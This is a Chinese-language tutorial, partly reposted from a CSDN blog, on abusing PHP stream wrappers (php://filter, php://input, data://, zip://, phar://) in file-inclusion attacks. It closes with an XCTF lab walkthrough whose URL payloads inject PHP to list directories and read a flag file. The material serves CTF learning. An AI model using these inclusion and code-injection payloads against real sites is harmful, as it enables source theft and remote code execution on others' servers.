php伪协议分析与CTF例题讲解
本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)
一,php:// 访问输入输出流,有两个常用的子协议
1,php://filter 设计用来过滤筛选文件
使用方法:非php语法文件include失败,直接输出源码内容。
php://filter/resource=需要包含的文件
还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码
php://filter/read=convert.base64-encode/resource=需要包含的文件
二、php://input
利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可
三、file:// 后跟文件目录绝对路径
file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径
四、phar:// 可以查找指定压缩包内的文件
使用绝对路径与相对路径均可
五、zip:// 用法与phar类似,不过有两点要注意
1,只能传入绝对路径。
2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23
六、data 与input 类似,都是用户可以控制传入的php代码
1,直接写入代码
data: text/plain,<?php 执行内容 ?>
2、base64编码后写入代码
data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码
注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:
七、http协议
include中也可以传入外部链接,采用http://
关于allow_url_fopen和allow_url_include的设置和用法总结:
XCTF例题:
除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些
echo $_SERVER['DOCUMENT_ROOT'];
再查看根目录下有哪些文件:
http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E
http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E
file_get_contents
file_get_contents — 将整个文件读入一个字符串
htmlspecialchars
htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag
http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E